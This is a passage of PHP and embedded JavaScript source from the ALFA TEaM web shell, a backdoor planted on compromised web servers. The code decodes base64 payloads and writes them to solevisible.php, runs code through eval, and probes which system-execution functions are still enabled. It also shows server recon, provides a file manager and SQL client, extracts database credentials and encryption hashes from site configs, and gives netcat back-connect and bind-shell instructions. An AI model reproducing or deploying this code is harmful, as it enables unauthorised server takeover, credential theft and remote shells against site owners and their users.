WNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
$alfa_uploader = '$x = base64_decode("'.$GLOBALS['__ALFA_SHELL_CODE'].'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);';
define("ALFA_UPLOADER", "eval(base64_decode('".__ZW5jb2Rlcg($alfa_uploader)."'))");
define("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace('\\','/',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable('.')?'.':false)) : false));
if(!isset($_POST['ajax'])){
function Alfa_GetDisable_Function(){
$disfun = @ini_get('disable_functions');
$afa = '<span class="header_show_all">All Functions Accessible</span>';
if(empty($disfun))return($afa);
$s = explode(',',$disfun);
$s = array_unique($s);
$i=0;
$b=0;
$func = array('system','exec','shell_exec','proc_open','popen','passthru','symlink','dl');
$black_list = array();
$allow_list = array();
foreach($s as $d){
$d=trim($d);
if(empty($d)||!is_callable($d))continue;
if(!function_exists($d)){
if(in_array($d,$func)){
$dis .= $d." | ";$b++;
$black_list[] = $d;
}else{
$allow_list[] = $d;
}
$i++;
}
}
if($i==0)return($afa);
if($i <= count($func)){
$all = array_values(array_merge($black_list, $allow_list));
return('<span class="disable_functions">'.implode(" | ", $all).'</span>');
}
return('<span class="disable_functions">'.$dis.'</span><a href=javascript:void(0) onclick="g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All ('.$i.')</span></a>');
}
function AlfaNum(){
$args = func_get_args();
$alfax = array();
$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '<script>';
foreach($alfax as $alfa){
if(in_array($alfa,$find))
continue;
echo 'alfa'.$alfa."_=";
}
echo '""</script>';
}
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
$freeSpace = function_exists('diskfreespace')?@diskfreespace($GLOBALS['cwd']):'?';
$totalSpace = function_exists('disk_total_space')?@disk_total_space($GLOBALS['cwd']):'?';
$totalSpace = $totalSpace?$totalSpace:1;
$on="<span class='header_on'> ON </span>";
$of="<span class='header_off'> OFF </span>";
$none="<span class='header_none'> NONE </span>";
if(function_exists('ssh2_connect'))
$ssh2=$on;
else
$ssh2=$of;
if(function_exists('curl_version'))
$curl=$on;
else
$curl=$of;
if(function_exists('mysql_get_client_info'))
$mysql=$on;
else
$mysql=$of;
if(function_exists('mssql_connect'))
$mssql=$on;
else
$mssql=$of;
if(function_exists('pg_connect'))
$pg=$on;
else
$pg=$of;
if(function_exists('oci_connect'))
$or=$on;
else
$or=$of;
if(@ini_get('disable_functions'))
$disfun=@ini_get('disable_functions');
else
$disfun="All Functions Enable";
if(@ini_get('safe_mode'))
$safe_modes="<span class='header_off'>ON</span>";
else
$safe_modes="<span class='header_on'>OFF</span>";
$cgi_shell="<span class='header_off' id='header_cgishell'>OFF</span>";
if(@ini_get('open_basedir')){
$basedir_data = @ini_get('open_basedir');
if(strlen($basedir_data)>120){
$open_b=substr($basedir_data,0, 120)."...";
}else{
$open_b = $basedir_data;
}
}else{$open_b=$none;}
if(@ini_get('safe_mode_exec_dir'))
$safe_exe=@ini_get('safe_mode_exec_dir');
else
$safe_exe=$none;
if(@ini_get('safe_mode_include_dir'))
$safe_include=@ini_get('safe_mode_include_dir');
else
$safe_include=$none;
if(!function_exists('posix_getegid'))
{
$user = function_exists("get_current_user")?@get_current_user():"????";
$uid = function_exists("getmyuid")?@getmyuid():"????";
$gid = function_exists("getmygid")?@getmygid():"????";
$group = "?";
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");
$gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a class='header_pwd' href='javascript:void(0);' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$drives = "";
foreach(range('a','z') as $drive)
if(@is_dir($drive.':\\'))
$drives .= '<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
$csscode =' -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<link href="'.__showicon('alfamini').'" rel="icon" type="image/x-icon"/>
<title>..:: '.$_SERVER['HTTP_HOST'].' ~ ALFA TEaM Shell - v'.__ALFA_VERSION__.' ::..</title>
<link href="https://fonts.googleapis.com/css?family=Francois+One" rel="stylesheet">
<style type="text/css">
.hlabale {
color: #67ABDF;
border-radius: 4px;
border: 1px solid #27979B;
margin-left: 7px;
padding: 2px;
}
#tbl_sympphp tr {
text-align: center;
}
.editor-view {
position: relative;
}
.view-content {
position: absolute;
overflow-y: auto;
width: 100%;
height: 475px;
}
*::-webkit-scrollbar-track {
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3);
border-radius: 10px;
background-color: #000115;
}
*::-webkit-scrollbar{
width: 10px;
background-color: #000115;
}
*::-webkit-scrollbar-thumb {
border-radius: 10px;
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
background-color: rgb(30, 130, 181);
}
.editor-file-name {
margin-left: 29px;
margin-top: 4px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.editor-icon {
position: absolute;
}
.is_active {
background: rgba(49, 55, 93, 0.77);
border-radius: 10px;
}
.history-list {
height: 88%;
overflow-y: auto;
}
#editor-minimized,#cgiloader-minimized {
display: block;
position: fixed;
right: -30px;
width: 30px;
height: 30px;
top: 30%;
}
.minimized-wrapper {
position: relative;
background: rgb(14, 48, 74);
width: 44px;
height: 167px;
cursor: pointer;
border-bottom-left-radius: 5px;
border-top-left-radius: 5px;
}
.minimized-text {
transform: rotate(-90deg);
color: wheat;
font-size: x-large;
display: inline-block;
position: absolute;
right: -51px;
width: 129px;
top: 50px;
border-top-left-radius: 4%;
height: 56px;
padding: 3px
}
.close-button,.editor-minimize {
height: 26px;
width: 38px;
right: 7px;
background: rgb(29, 86, 115);
cursor: pointer;
position: absolute;
box-sizing: border-box;
line-height: 50px;
display: inline-block;
top: 17px;
border-radius: 100px;
}
.editor-minimize {right: 50px;}
.close-button:before,.close-button:after,.editor-minimize:before {
transform: rotate(-45deg);
content: "";
position: absolute;
top: 63%;
right: 6px;
margin-top: -5px;
margin-left: -25px;
display: block;
height: 4px;
width: 27px;
background-color: rgba(216, 207, 207, 0.75);
transition: all 0.25s ease-out;
}
.editor-minimize:before{
transform: rotate(0deg);
}
.close-button:after {
transform: rotate(-135deg);
}
.close-button:hover:before,.close-button:hover:after,.editor-minimize:hover:before{
background-color: red;
}
.close-button:hover,.editor-minimize:hover{
background-color: rgba(39, 66, 80, 0.96);
}
#editor,#cgiloader {
display: none;
position: fixed;
top: 0;
width: 100%;
height: 100%;
}
.editor-wrapper {
width: 100%;
height: 100%;
position: relative;
top: 1%;
}
.editor-header {
width: 97%;
background: rgba(21, 66, 88, 0.93);
height: 37px;
margin-left: 13px;
position: relative;
border-top-left-radius: 15px;
border-top-right-radius: 15px;
}
.editor-path {
position: absolute;
font-size: x-large;
margin-left: 10px;
top: 6px;
color: springgreen;
}
.editor-modal {
position: relative;
top: 0;
background-color: rgba(0, 1, 23, 0.95);
height: 90%;
margin-left: 20%;
margin-right: 2%;
border: 2px #0e304a solid;
}
.editor-explorer {
width: 19%;
height: 90%;
background-color: rgba(0, 1, 23, 0.94);
position: absolute;
z-index: 2;
left: 1%;
border: 2px rgb(14, 48, 74) solid;
}
.editor-controller {
position: relative;
top: -13px;
}
.file-holder {
position: relative;
width: 100%;
height: 30px;
}
.file-holder > .history {
position: absolute;
color: rgb(3, 179, 163);
cursor: pointer;
left:5px;
font-size: 18px;
font-family: sans-serif;
width:89%;
height:100%;
z-index: 3;
border-radius: 10px;
transition: background-color 600ms ease-out;
}
.file-holder > .history-close {
display: block;
opacity: 0;
position: absolute;
right: 2px;
width: 20px;
top: 4px;
text-align: center;
cursor: pointer;
color: white;
background: red;
border-radius: 100px;
font-family: monospace;
z-index: 10;
transition: opacity 600ms ease-out;
font-size: 15px;
height: 19px;
}
.file-holder > .history:hover {
background-color: #646464;
}
.editor-explorer > .hheader {
position: relative;
color: rgb(20, 255, 7);
border-bottom: 2px rgb(32, 106, 162) solid;
text-align: center;
font-family: sans-serif;
margin-bottom: 10px;
height: 55px;
}
.editor-search {
position: absolute;
bottom: 7px;
left: 31px;
}
.hheader-text {
position: absolute;
left: 8px;
top: 2px;
}
.history-clear {
position: absolute;
right: 8px;
top: 2px;
cursor: pointer;
}
.editor-body {
position: relative;
margin-left: 3px;
}
.editor-anim-close {
'.showAnimation("editorClose").'
}
@keyframes editorClose {
0% {
transform: scale(1);
opacity: 1;
}
100% {
transform: scale(0);
opacity: 0;
}
}
.editor-anim-minimize {
'.showAnimation("editorMinimize").'
}
@keyframes editorMinimize {
0% {
right:0px;
opacity: 1;
}
100% {
right: -2000px;
opacity: 0;
}
}
.editor-anim-show {
'.showAnimation("editorShow").'
}
@keyframes editorShow {
0% {
right:-2000px;
opacity: 0;
}
100% {
right: 0px;
opacity: 1;
}
}
.minimized-show {
'.showAnimation("minimizeShow").'
}
@keyframes minimizeShow {
0% {
right: -30px;
opacity: 0;
}
100% {
right: 0px;
opacity: 1;
}
}
.minimized-hide {
'.showAnimation("minimizeHide").'
}
@keyframes minimizeHide {
0% {
right: 0px;
opacity: 1;
}
100% {
right: -30px;
opacity: 0;
}
}
.solevisible-text:hover {
-webkit-text-shadow: 0px 0px 25px #00FF00;
-moz-text-shadow: 0px 0px 25px #00FF00;
-ms-text-shadow: 0px 0px 25px #00FF00;
text-shadow: 0px 0px 25px #00FF00;
}
.update-holder {
position: fixed;
top: 0;
background-color: rgba(0, 24, 29, 0.72);
width: 100%;
height: 100%;
}
.update-partner {
width: 50%;
position: relative;
border-radius: 31px;
height: 200px;
background-color: rgba(3, 3, 41, 0.47);
text-align: center;
color: rgba(252, 253, 251, 0.88);
margin-left: 25%;
top: 23%;
font-family: "Francois One", sans-serif;
}
.update-partner:hover {
-webkit-box-shadow: inset 0px 0px 99px 9px rgba(11,15,41,1);
-moz-box-shadow: inset 0px 0px 99px 9px rgba(11,15,41,1);
box-shadow: inset 0px 0px 99px 9px rgba(11,15,41,1);
}
.update-content {
position: relative;
}
.update-content > a {
text-decoration: none;
position: absolute;
color: rgba(103, 167, 47, 0.77);
left: 24%;
margin-top: 7%;
font-size: 40px;
font-family: "Francois One", sans-serif;
}
.update-close {
position: absolute;
right: 0;
margin-right: 23px;
top: 10px;
font-size: 27px;
background-color: #130f50;
width: 5%;
border-radius: 100px;
cursor: pointer;
border: 2px rgb(14, 38, 90) solid;
}
.update-close:hover {
border: 2px #25ff00 solid;
color: #FF0000;
}
.filestools {
height: auto;
width: auto;
color: #67ABDF;
font-size: 12px;
font-family: Verdana,Geneva,sans-serif;
}
@-moz-document url-prefix() {
#search-input {
width: 173px;
}
.editor-path {
top:3px;
}
}
@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#alfaloader{'.$csscode.'width:100px;height:100px;}
#a_loader{'.$csscode.'width:150px;height:150px;position:fixed;z-index:999999;top: 42%;left: 45%;display:none;}
.ajaxarea{border:1px solid #0E304A;color:#67ABDF}#up_bar{background-color:red;width:0;height:2px;display:none;position:fixed;z-index:100000}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:'.alfa_getColor("header_values").';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:'.($GLOBALS['DB_NAME']['show_icons']=='1'?'0':'1').'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;border:1px solid #0F0;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url('.__showicon('btn').');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;'.(!@is_writable($GLOBALS['cwd'])?'}.dir{background-color:red;}':'}').'
.main th{text-align:left;}
.main a{color: #FFF;}
.main tr:hover{background-color:#646464;}
.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:99%; height:300px; }
'.alfaCssLoadColors().'
</style>';
echo "<script type='text/javascript'>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var alfa1_ = '" . ((strpos(@$_POST['alfa1'],"\n")!==false)?'':htmlspecialchars($_POST['alfa1'],ENT_QUOTES)) ."';
var alfa2_ = '" . ((strpos(@$_POST['alfa2'],"\n")!==false)?'':htmlspecialchars($_POST['alfa2'],ENT_QUOTES)) ."';
var alfa3_ = '" . ((strpos(@$_POST['alfa3'],"\n")!==false)?'':htmlspecialchars($_POST['alfa3'],ENT_QUOTES)) ."';
var alfa4_ = '" . ((strpos(@$_POST['alfa4'],"\n")!==false)?'':htmlspecialchars($_POST['alfa4'],ENT_QUOTES)) ."';
var alfa5_ = '" . ((strpos(@$_POST['alfa5'],"\n")!==false)?'':htmlspecialchars($_POST['alfa5'],ENT_QUOTES)) ."';
var alfa6_ = '" . ((strpos(@$_POST['alfa6'],"\n")!==false)?'':htmlspecialchars($_POST['alfa6'],ENT_QUOTES)) ."';
var alfa7_ = '" . ((strpos(@$_POST['alfa7'],"\n")!==false)?'':htmlspecialchars($_POST['alfa7'],ENT_QUOTES)) ."';
var alfa8_ = '" . ((strpos(@$_POST['alfa8'],"\n")!==false)?'':htmlspecialchars($_POST['alfa8'],ENT_QUOTES)) ."';
var alfa9_ = '" . ((strpos(@$_POST['alfa9'],"\n")!==false)?'':htmlspecialchars($_POST['alfa9'],ENT_QUOTES)) ."';
var alfa10_ = '" . ((strpos(@$_POST['alfa10'],"\n")!==false)?'':htmlspecialchars($_POST['alfa10'],ENT_QUOTES)) ."';
var d = document;
var mysql_cache = {};
var editor_files = {};
var editor_error = true;
var editor_current_file = '';
var is_minimized = false;
var cgi_is_minimized = false;
var cgi_lang = '';
var upcount = 1;
var islinux = ".($GLOBALS['sys']!="win"?'true':'false').";
var post_encryption_mode = ".(__ALFA_POST_ENCRYPTION__?'true':'false').";
function set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;";
for($j=1;$j<=10;$j++){
echo 'if(alfa'.$j.'!=null)d.mf.alfa'.$j.'.value=alfa'.$j.';else d.mf.alfa'.$j.'.value=alfa'.$j.'_;';
}
echo "
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}";
echo 'function fc(a){alfaloader("block");var b="a="+alfab64("FilesMan")+"&c="+alfab64(a.c.value)+"&alfa1="+alfab64(a.alfa1.value)+"&ajax="+alfab64("true")+"&",c="";for(i=0;i<d.files.elements.length;i++)"checkbox"==d.files.elements[i].type&&d.files.elements[i].checked&&(c+="f[]="+alfab64(d.files.elements[i].value)+"&");_Ajax(d.URL,b+c,function(a){alfaloader("none")},!0)}function initDir(a){var b="",c="";islinux&&(b="<a class=\"header_pwd\" onclick=\"g(\'FilesMan\',\'/\');\" href=\'javascript:void(0);\'>/</a>",c="/");var e=a.split("/"),f="",g="";"-1"!=e.indexOf("..")&&(e.splice(e.indexOf("..")-1,1),e.splice(e.indexOf(".."),1));for(i in e)""!=e[i]&&(f+="<a onclick=\"g(\'FilesMan\',\'"+g+e[i]+"/\');\" href=\'javascript:void(0);\' class=\"header_pwd\">"+e[i]+"/</a>",g+=e[i]+"/");$("header_cwd").innerHTML=b+f+" ";var e=c+e.join("/");e=e.replace("//","/"),d.footer_form.c.value=e,$("footer_cwd").value=e,c_=e}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(a,b,c,e){var f=!1;return window.XMLHttpRequest?f=new XMLHttpRequest:window.ActiveXObject&&(f=new ActiveXObject("Microsoft.XMLHTTP")),f?(f.onreadystatechange=function(){4==f.readyState&&200==f.status&&("function"!=typeof c?d.getElementsByClassName("ajaxarea")[0].innerHTML=f.responseText:e?(d.getElementsByClassName("ajaxarea")[0].innerHTML=f.responseText,c(f.responseText)):c(f.responseText))},f.open("POST",a,!0),f.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),f.send(b),void 0):void alert("Error !")}function handleup(a,b){var c="__fnameup";0!=b&&(c="__fnameup"+b),a.files[0].name&&($(c).innerHTML=a.files[0].name)}function u(a){alfaloader("block");a.submit.disabled=true;var av = a.a.value,cv = a.c.value,alv = a.alfa1.value,cha = a.charset.value;var b=!1;if(a.a.value=alfab64(a.a.value),a.c.value=alfab64(a.c.value),a.alfa1.value=alfab64(a.alfa1.value),a.charset.value=alfab64(a.charset.value),window.XMLHttpRequest?b=new XMLHttpRequest:window.ActiveXObject&&(b=new ActiveXObject("Microsoft.XMLHTTP")),b){var c=$("up_bar");b.upload&&(c.style.display="block",b.upload.onprogress=function(a){var b=a.position||a.loaded,d=a.totalSize||a.total,e=Math.floor(b/d*1e3)/10+"%";c.style.width=e}),b.onload=function(e){for(200===b.status?(_Ajax(d.URL,"a="+alfab64("FilesMan")+"&c="+a.c.value+"&ajax="+alfab64("true")),c.style.display="none",a.a.value=av,a.c.value=cv,a.alfa1.value=alv,a.charset.value=cha):alert("An error occurred!"),$("footerup").value="",$("__fnameup").innerHTML="";upcount;){var f=$("pfooterup_"+upcount);f&&f.parentNode.removeChild(f),upcount--}0==upcount&&upcount++,alfaloader("none"),a.submit.disabled=false},b.onerror=function(a){};var e=new FormData(a);b.open("POST",d.URL),b.send(e)}}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),"GetConfig"!=a&&"download"!=alfa2&&(d.getElementsByClassName("ajaxarea")[0].innerHTML=\'<center><br /><img id="alfaloader" src="'.__showicon('loader').'"></img><br /><br /></center>\'),islinux&&"/"!=d.mf.c.value.substr(0,1)&&(d.mf.c.value="/"+d.mf.c.value);for(var data="a="+alfab64(a)+"&c="+alfab64(d.mf.c.value)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d.mf.c.value),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data),c!=c_&&c&&initDir(c)):(alfaloader("block"),_Ajax(d.URL,data,function(a){try{a=JSON.parse(a),a.host&&a.user&&a.dbname&&($("db_host")&&($("db_host").value=a.host),$("db_user")&&($("db_user").value=a.user),$("db_name")&&($("db_name").value=a.dbname),$("db_pw")&&($("db_pw").value=a.password),$("db_prefix")&&a.prefix&&($("db_prefix").value=a.prefix),$("cc_encryption_hash")&&a.cc_encryption_hash&&($("cc_encryption_hash").value=a.cc_encryption_hash))}catch(a){}alfaloader("none")}))}function alfaloader(a){$("a_loader").style.display=a}function fsu(a){alfaloader("block");for(var b={},c=0;c<a.elements.length;c++)"submit"!=a.elements[c].type&&(b[a.elements[c].name]=a.elements[c].value);for(c in mysql_cache)mysql_cache[c]=alfab64(mysql_cache[c]);_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("update")+"&alfa2="+alfab64(JSON.stringify(b))+"&c="+alfab64(c_)+"&charset="+mysql_cache.charset+"&type="+mysql_cache.type+"&sql_host="+mysql_cache.host+"&sql_login="+mysql_cache.user+"&sql_pass="+mysql_cache.pass+"&sql_base="+mysql_cache.db+"&sql_count="+mysql_cache.count+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},!0)}function fs(f,e){alfaloader("block");var alfa1="query",alfa2=f.query?alfab64(f.query.value):"",host=f.sql_host?f.sql_host.value:mysql_cache.host,user=f.sql_login?f.sql_login.value:mysql_cache.user,pass=f.sql_pass?f.sql_pass.value:mysql_cache.pass,db=f.sql_base?f.sql_base.value:mysql_cache.db,type=f.type?f.type.value:mysql_cache.type,charset=f.charset?f.charset.value:mysql_cache.charset,count="";switch(count=f.sql_count?f.sql_count.checked?"true":"":mysql_cache.count,f){case"0":alfa1="select",alfa2=alfab64(e);break;case"1":e=eval(e),alfa1="select",alfa2=alfab64(e[0])+"&alfa3="+alfab64(e[1]);break;case"2":e=eval(e),alfa1="edit",alfa2=alfab64(db)+"&alfa3="+alfab64(e.join(":"));break;case"3":alfa1="loadfile",alfa2=alfab64(e);break;case"4":case"5":alfa1=(f=="4"?"dumpfile":"droptbl");var obj={},id=$("dumpfile");for(obj.file=id?id.value:"dump.sql",obj.tbl=[],i=0;i<d.sf.elements["tbl[]"].length;++i)d.sf.elements["tbl[]"][i].checked&&obj.tbl.push(d.sf.elements["tbl[]"][i].value);alfa2=alfab64(JSON.stringify(obj))}_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64(alfa1)+"&alfa2="+alfa2+"&c="+alfab64(c_)+"&charset="+alfab64(charset)+"&type="+alfab64(type)+"&sql_host="+alfab64(host)+"&sql_login="+alfab64(user)+"&sql_pass="+alfab64(pass)+"&sql_base="+alfab64(db)+"&sql_count="+alfab64(count)+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},!0)}function ctlbc(a){var b=$("bcStatus"),c=$("bcipAction");"bind"==a.value?(c.style.display="none",b.innerHTML="<small>Press ` <font color=\'red\'>>></font> ` button and run ` <font color=\'red\'>nc server_ip port</font> ` on your computer</small>"):(c.style.display="inline-block",b.innerHTML="<small>Run ` <font color=\'red\'>nc -l -v -p port</font> ` on your computer and press ` <font color=\'red\'>>></font> ` button</small>")}function 